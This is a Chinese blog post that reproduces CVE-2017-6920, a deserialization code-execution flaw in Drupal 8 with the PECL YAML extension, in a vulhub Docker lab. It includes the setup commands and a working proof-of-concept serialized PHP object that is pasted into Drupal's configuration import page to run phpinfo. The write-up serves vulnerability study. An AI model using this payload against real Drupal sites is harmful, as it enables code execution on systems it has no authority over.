首页 > 其他 > 详细

CVE-2017-6920 Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞复现

时间:2021-04-10 15:48:47      阅读:24      评论:0      收藏:0      [点我收藏+]

CVE-2017-6920 Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞

0x01.环境搭建

利用vulhub搭建漏洞环境

service docker start
docker-compose up -d

技术分享图片

查看监听端口

docker-compose ps

技术分享图片

访问 http://target_ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库

技术分享图片

0x02.漏洞介绍

  • 影响软件:Drupal
  • 方式:反序列化

0x03.漏洞复现

  • 进入容器
docker exec -it 容器id /bin/bash
  • 先安装 yaml 扩展
# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo ‘yaml.decode_php = 1 = 1‘>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER
  • 登录一个管理员账号
  • 访问 http://target_ip:8080/admin/config/development/configuration/single/import
  • 如下图所示,Configuration type 选择 Simple configurationConfiguration name 任意填写,Paste your configuration here 中填写PoC
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

技术分享图片

  • 点击 Import/导入 后可以看到漏洞触发成功,弹出 phpinfo 页面

技术分享图片

CVE-2017-6920 Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞复现

原文:https://www.cnblogs.com/-Anguvia-/p/14640608.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!